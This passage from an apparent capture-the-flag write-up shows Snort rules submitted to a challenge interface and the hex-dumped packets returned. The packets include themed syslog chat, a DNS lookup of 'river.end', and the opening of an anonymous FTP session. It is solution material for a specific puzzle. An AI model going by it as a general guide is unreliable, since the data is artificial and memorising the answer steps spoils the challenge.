</span></span><span style="display:flex;"><span>0.0.0.0:36196 -&gt; 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:42611 IpLen:20 DgmLen:170 DF
</span></span><span style="display:flex;"><span>Len: 142
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 AA A6 73 40 00 40 11 93 D0 00 00 00 00 FF FF  ...s@.@.........
</span></span><span style="display:flex;"><span>0x0020: FF FF 8D 64 02 02 00 96 40 9C 3C 31 33 3E 31 20  ...d....@.&lt;13&gt;1
</span></span><span style="display:flex;"><span>0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
</span></span><span style="display:flex;"><span>0x0040: 3A 32 34 2E 31 35 30 36 33 37 2B 30 31 3A 30 30  :24.150637+01:00
</span></span><span style="display:flex;"><span>0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
</span></span><span style="display:flex;"><span>0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
</span></span><span style="display:flex;"><span>0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown=&#34;1&#34; i
</span></span><span style="display:flex;"><span>0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 4D 75 73  sSynced=&#34;0&#34;] Mus
</span></span><span style="display:flex;"><span>0x0090: 70 65 6C 68 69 65 6D 20 69 73 20 70 72 65 70 61  pelhiem is prepa
</span></span><span style="display:flex;"><span>0x00A0: 72 65 64 2C 20 74 68 65 20 67 6F 64 73 20 77 69  red, the gods wi
</span></span><span style="display:flex;"><span>0x00B0: 6C 6C 20 66 61 6C 6C 2E                          ll fall.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:28.351521  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:38287 -&gt; 255.255.255.255:514
</span></span><span style="display:flex;"><span>12/24-15:00:28.351521 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xBB
</span></span><span style="display:flex;"><span>0.0.0.0:38287 -&gt; 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:28571 IpLen:20 DgmLen:173 DF
</span></span><span style="display:flex;"><span>Len: 145
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 AD 6F 9B 40 00 40 11 CA A5 00 00 00 00 FF FF  ..o.@.@.........
</span></span><span style="display:flex;"><span>0x0020: FF FF 95 8F 02 02 00 99 CB E1 3C 31 33 3E 31 20  ..........&lt;13&gt;1
</span></span><span style="display:flex;"><span>0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
</span></span><span style="display:flex;"><span>0x0040: 3A 32 38 2E 33 35 31 34 33 37 2B 30 31 3A 30 30  :28.351437+01:00
</span></span><span style="display:flex;"><span>0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
</span></span><span style="display:flex;"><span>0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
</span></span><span style="display:flex;"><span>0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown=&#34;1&#34; i
</span></span><span style="display:flex;"><span>0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 4C 6F 6F  sSynced=&#34;0&#34;] Loo
</span></span><span style="display:flex;"><span>0x0090: 6B 20 66 6F 72 20 74 68 65 20 72 69 76 65 72 2E  k for the river.
</span></span><span style="display:flex;"><span>0x00A0: 65 6E 64 20 74 6F 20 67 61 74 68 65 72 20 74 68  end to gather th
</span></span><span style="display:flex;"><span>0x00B0: 65 20 6C 61 73 74 20 66 6C 61 67                 e last flag
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:29.623636  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:58908 -&gt; 255.255.255.255:514
</span></span><span style="display:flex;"><span>12/24-15:00:29.623636 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xA9
</span></span><span style="display:flex;"><span>0.0.0.0:58908 -&gt; 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:26020 IpLen:20 DgmLen:155 DF
</span></span><span style="display:flex;"><span>Len: 127
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 9B 65 A4 40 00 40 11 D4 AE 00 00 00 00 FF FF  ..e.@.@.........
</span></span><span style="display:flex;"><span>0x0020: FF FF E6 1C 02 02 00 87 CE 04 3C 31 33 3E 31 20  ..........&lt;13&gt;1
</span></span><span style="display:flex;"><span>0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
</span></span><span style="display:flex;"><span>0x0040: 3A 32 39 2E 36 32 33 35 34 39 2B 30 31 3A 30 30  :29.623549+01:00
</span></span><span style="display:flex;"><span>0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
</span></span><span style="display:flex;"><span>0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
</span></span><span style="display:flex;"><span>0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown=&#34;1&#34; i
</span></span><span style="display:flex;"><span>0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 4D 61 72  sSynced=&#34;0&#34;] Mar
</span></span><span style="display:flex;"><span>0x0090: 63 68 69 6E 67 20 74 6F 20 77 61 72 2C 20 6E 6F  ching to war, no
</span></span><span style="display:flex;"><span>0x00A0: 77 20 77 65 20 61 72 65 2E                       w we are.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:38.979519  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:54473 -&gt; 255.255.255.255:514
</span></span><span style="display:flex;"><span>12/24-15:00:38.979519 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xAA
</span></span><span style="display:flex;"><span>0.0.0.0:54473 -&gt; 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:16953 IpLen:20 DgmLen:156 DF
</span></span><span style="display:flex;"><span>Len: 128
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 9C 42 39 40 00 40 11 F8 18 00 00 00 00 FF FF  ..B9@.@.........
</span></span><span style="display:flex;"><span>0x0020: FF FF D4 C9 02 02 00 88 9D DA 3C 31 33 3E 31 20  ..........&lt;13&gt;1
</span></span><span style="display:flex;"><span>0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
</span></span><span style="display:flex;"><span>0x0040: 3A 33 38 2E 39 37 39 34 35 33 2B 30 31 3A 30 30  :38.979453+01:00
</span></span><span style="display:flex;"><span>0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 66 65 6E 72   Muspelhiem fenr
</span></span><span style="display:flex;"><span>0x0060: 69 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C  ir - - [timeQual
</span></span><span style="display:flex;"><span>0x0070: 69 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20  ity tzKnown=&#34;1&#34;
</span></span><span style="display:flex;"><span>0x0080: 69 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 53 75  isSynced=&#34;0&#34;] Su
</span></span><span style="display:flex;"><span>0x0090: 72 74 72 20 68 61 73 20 69 6E 74 65 72 65 73 74  rtr has interest
</span></span><span style="display:flex;"><span>0x00A0: 69 6E 67 20 70 6F 69 6E 74 73                    ing points
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span></code></pre></div><p>We find a chat, important here is the mention of <code>river.end</code>.</p>
<h3 id="the-planted-flag-at-the-rivers-end">The planted flag at the river&rsquo;s end</h3>
<p>Once again, lets first find the IP address of <code>river.end</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; alert udp any any -&gt; any any <span style="color:#f92672">(</span>content:<span style="color:#e6db74">&#34;river&#34;</span>; sid:1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Sequence recieved. Validating magic sequence...
</span></span><span style="display:flex;"><span>Validation succeeded. Beginning sequencing of your submission...
</span></span><span style="display:flex;"><span>SNORT&#39;er finished with the following results:
</span></span><span style="display:flex;"><span>12/24-15:00:28.351521  [**] [1:1:0] [**] [Priority: 0] {UDP} 0.0.0.0:38287 -&gt; 255.255.255.255:514
</span></span><span style="display:flex;"><span>12/24-15:00:28.351521 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xBB
</span></span><span style="display:flex;"><span>0.0.0.0:38287 -&gt; 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:28571 IpLen:20 DgmLen:173 DF
</span></span><span style="display:flex;"><span>Len: 145
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 AD 6F 9B 40 00 40 11 CA A5 00 00 00 00 FF FF  ..o.@.@.........
</span></span><span style="display:flex;"><span>0x0020: FF FF 95 8F 02 02 00 99 CB E1 3C 31 33 3E 31 20  ..........&lt;13&gt;1
</span></span><span style="display:flex;"><span>0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
</span></span><span style="display:flex;"><span>0x0040: 3A 32 38 2E 33 35 31 34 33 37 2B 30 31 3A 30 30  :28.351437+01:00
</span></span><span style="display:flex;"><span>0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
</span></span><span style="display:flex;"><span>0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
</span></span><span style="display:flex;"><span>0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown=&#34;1&#34; i
</span></span><span style="display:flex;"><span>0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 4C 6F 6F  sSynced=&#34;0&#34;] Loo
</span></span><span style="display:flex;"><span>0x0090: 6B 20 66 6F 72 20 74 68 65 20 72 69 76 65 72 2E  k for the river.
</span></span><span style="display:flex;"><span>0x00A0: 65 6E 64 20 74 6F 20 67 61 74 68 65 72 20 74 68  end to gather th
</span></span><span style="display:flex;"><span>0x00B0: 65 20 6C 61 73 74 20 66 6C 61 67                 e last flag
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:34.641058  [**] [1:1:0] [**] [Priority: 0] {UDP} 0.0.0.0:50706 -&gt; 53.255.255.35:53
</span></span><span style="display:flex;"><span>12/24-15:00:34.641058 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x5C
</span></span><span style="display:flex;"><span>0.0.0.0:50706 -&gt; 53.255.255.35:53 UDP TTL:64 TOS:0x0 ID:7390 IpLen:20 DgmLen:78
</span></span><span style="display:flex;"><span>Len: 50
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 4E 1C DE 00 00 40 11 28 9F 00 00 00 00 35 FF  .N....@.(.....5.
</span></span><span style="display:flex;"><span>0x0020: FF 23 C6 12 00 35 00 3A A2 09 78 B9 01 20 00 01  .#...5.:..x.. ..
</span></span><span style="display:flex;"><span>0x0030: 00 00 00 00 00 01 05 72 69 76 65 72 03 65 6E 64  .......river.end
</span></span><span style="display:flex;"><span>0x0040: 00 00 01 00 01 00 00 29 04 D0 00 00 00 00 00 0C  .......)........
</span></span><span style="display:flex;"><span>0x0050: 00 0A 00 08 E0 6B 92 62 DB 5E 4C C2              .....k.b.^L.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:34.650697  [**] [1:1:0] [**] [Priority: 0] {UDP} 53.255.255.35:53 -&gt; 0.0.0.0:50706
</span></span><span style="display:flex;"><span>12/24-15:00:34.650697 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x55
</span></span><span style="display:flex;"><span>53.255.255.35:53 -&gt; 0.0.0.0:50706 UDP TTL:64 TOS:0x0 ID:60202 IpLen:20 DgmLen:71 DF
</span></span><span style="display:flex;"><span>Len: 43
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 47 EB 2A 40 00 40 11 1A 59 35 FF FF 23 00 00  .G.*@.@..Y5..#..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 35 C6 12 00 33 36 0A 78 B9 85 00 00 01  ...5...36.x.....
</span></span><span style="display:flex;"><span>0x0030: 00 01 00 00 00 00 05 72 69 76 65 72 03 65 6E 64  .......river.end
</span></span><span style="display:flex;"><span>0x0040: 00 00 01 00 01 C0 0C 00 01 00 01 00 00 0E 10 00  ................
</span></span><span style="display:flex;"><span>0x0050: 04 65 00 00 65                                   .e..e
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span></code></pre></div><p>Decoding the IP bytes, we get <code>101.0.0.101</code>, so lets have a look:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; alert tcp any any &lt;&gt; 101.0.0.101 any
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Sequence recieved. Validating magic sequence...
</span></span><span style="display:flex;"><span>Validation succeeded. Beginning sequencing of your submission...
</span></span><span style="display:flex;"><span>SNORT&#39;er finished with the following results:
</span></span><span style="display:flex;"><span>12/24-15:00:35.891970  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -&gt; 101.0.0.101:21
</span></span><span style="display:flex;"><span>12/24-15:00:35.891970 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x4A
</span></span><span style="display:flex;"><span>0.0.0.0:59982 -&gt; 101.0.0.101:21 TCP TTL:64 TOS:0x0 ID:21553 IpLen:20 DgmLen:60 DF
</span></span><span style="display:flex;"><span>******S* Seq: 0x7661A44A  Ack: 0x0  Win: 0xFFFF  TcpLen: 40
</span></span><span style="display:flex;"><span>TCP Options (5) =&gt; MSS: 65495 SackOK TS: 1614795381 0 NOP WS: 2
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 3C 54 31 40 00 40 06 81 26 00 00 00 00 65 00  .&lt;T1@.@..&amp;....e.
</span></span><span style="display:flex;"><span>0x0020: 00 65 EA 4E 00 15 76 61 A4 4A 00 00 00 00 A0 02  .e.N..va.J......
</span></span><span style="display:flex;"><span>0x0030: FF FF B0 B7 00 00 02 04 FF D7 04 02 08 0A 60 3F  ..............`?
</span></span><span style="display:flex;"><span>0x0040: D2 75 00 00 00 00 01 03 03 02                    .u........
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.891987  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -&gt; 0.0.0.0:59982
</span></span><span style="display:flex;"><span>12/24-15:00:35.891987 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x4A
</span></span><span style="display:flex;"><span>101.0.0.101:21 -&gt; 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:60 DF
</span></span><span style="display:flex;"><span>***A**S* Seq: 0xB9BA3BDC  Ack: 0x7661A44B  Win: 0xFFCB  TcpLen: 40
</span></span><span style="display:flex;"><span>TCP Options (5) =&gt; MSS: 65495 SackOK TS: 473181618 1614795381 NOP WS: 7
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 3C 00 00 40 00 40 06 D5 57 65 00 00 65 00 00  .&lt;..@.@..We..e..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 15 EA 4E B9 BA 3B DC 76 61 A4 4B A0 12  .....N..;.va.K..
</span></span><span style="display:flex;"><span>0x0030: FF CB 71 58 00 00 02 04 FF D7 04 02 08 0A 1C 34  ..qX...........4
</span></span><span style="display:flex;"><span>0x0040: 2D B2 60 3F D2 75 01 03 03 07                    -.`?.u....
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.892002  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -&gt; 101.0.0.101:21
</span></span><span style="display:flex;"><span>12/24-15:00:35.892002 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x42
</span></span><span style="display:flex;"><span>0.0.0.0:59982 -&gt; 101.0.0.101:21 TCP TTL:64 TOS:0x0 ID:21554 IpLen:20 DgmLen:52 DF
</span></span><span style="display:flex;"><span>***A**** Seq: 0x7661A44B  Ack: 0xB9BA3BDD  Win: 0x4000  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1614795381 473181618
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 34 54 32 40 00 40 06 81 2D 00 00 00 00 65 00  .4T2@.@..-....e.
</span></span><span style="display:flex;"><span>0x0020: 00 65 EA 4E 00 15 76 61 A4 4B B9 BA 3B DD 80 10  .e.N..va.K..;...
</span></span><span style="display:flex;"><span>0x0030: 40 00 5A 14 00 00 01 01 08 0A 60 3F D2 75 1C 34  @.Z.......`?.u.4
</span></span><span style="display:flex;"><span>0x0040: 2D B2                                            -.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.898791  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -&gt; 0.0.0.0:59982
</span></span><span style="display:flex;"><span>12/24-15:00:35.898791 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x62
</span></span><span style="display:flex;"><span>101.0.0.101:21 -&gt; 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38858 IpLen:20 DgmLen:84 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0xB9BA3BDD  Ack: 0x7661A44B  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 473181624 1614795381
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 54 97 CA 40 00 40 06 3D 75 65 00 00 65 00 00  .T..@.@.=ue..e..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 15 EA 4E B9 BA 3B DD 76 61 A4 4B 80 18  .....N..;.va.K..
</span></span><span style="display:flex;"><span>0x0030: 02 00 97 D9 00 00 01 01 08 0A 1C 34 2D B8 60 3F  ...........4-.`?
</span></span><span style="display:flex;"><span>0x0040: D2 75 32 32 30 20 52 69 76 65 72 20 66 72 6F 6D  .u220 River from
</span></span><span style="display:flex;"><span>0x0050: 20 74 68 65 20 45 6E 64 20 6F 66 20 74 69 6D 65   the End of time
</span></span><span style="display:flex;"><span>0x0060: 0D 0A                                            ..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.898834  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -&gt; 101.0.0.101:21
</span></span><span style="display:flex;"><span>12/24-15:00:35.898834 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x42
</span></span><span style="display:flex;"><span>0.0.0.0:59982 -&gt; 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21555 IpLen:20 DgmLen:52 DF
</span></span><span style="display:flex;"><span>***A**** Seq: 0x7661A44B  Ack: 0xB9BA3BFD  Win: 0x4000  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1614795387 473181624
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 34 54 33 40 00 40 06 81 1C 00 00 00 00 65 00  .4T3@.@.......e.
</span></span><span style="display:flex;"><span>0x0020: 00 65 EA 4E 00 15 76 61 A4 4B B9 BA 3B FD 80 10  .e.N..va.K..;...
</span></span><span style="display:flex;"><span>0x0030: 40 00 59 E8 00 00 01 01 08 0A 60 3F D2 7B 1C 34  @.Y.......`?.{.4
</span></span><span style="display:flex;"><span>0x0040: 2D B8                                            -.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.899104  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -&gt; 101.0.0.101:21
</span></span><span style="display:flex;"><span>12/24-15:00:35.899104 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x52
</span></span><span style="display:flex;"><span>0.0.0.0:59982 -&gt; 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21556 IpLen:20 DgmLen:68 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0x7661A44B  Ack: 0xB9BA3BFD  Win: 0x4000  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1614795388 473181624
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 44 54 34 40 00 40 06 81 0B 00 00 00 00 65 00  .DT4@.@.......e.
</span></span><span style="display:flex;"><span>0x0020: 00 65 EA 4E 00 15 76 61 A4 4B B9 BA 3B FD 80 18  .e.N..va.K..;...
</span></span><span style="display:flex;"><span>0x0030: 40 00 D1 F2 00 00 01 01 08 0A 60 3F D2 7C 1C 34  @.........`?.|.4
</span></span><span style="display:flex;"><span>0x0040: 2D B8 55 53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73  -.USER anonymous
</span></span><span style="display:flex;"><span>0x0050: 0D 0A                                            ..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:35.899123  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -&gt; 0.0.0.0:59982
</span></span><span style="display:flex;"><span>12/24-15:00:35.899123 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x42
</span></span><span style="display:flex;"><span>101.0.0.101:21 -&gt; 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38859 IpLen:20 DgmLen:52 DF
</span></span><span style="display:flex;"><span>***A**** Seq: 0xB9BA3BFD  Ack: 0x7661A45B  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 473181625 1614795388
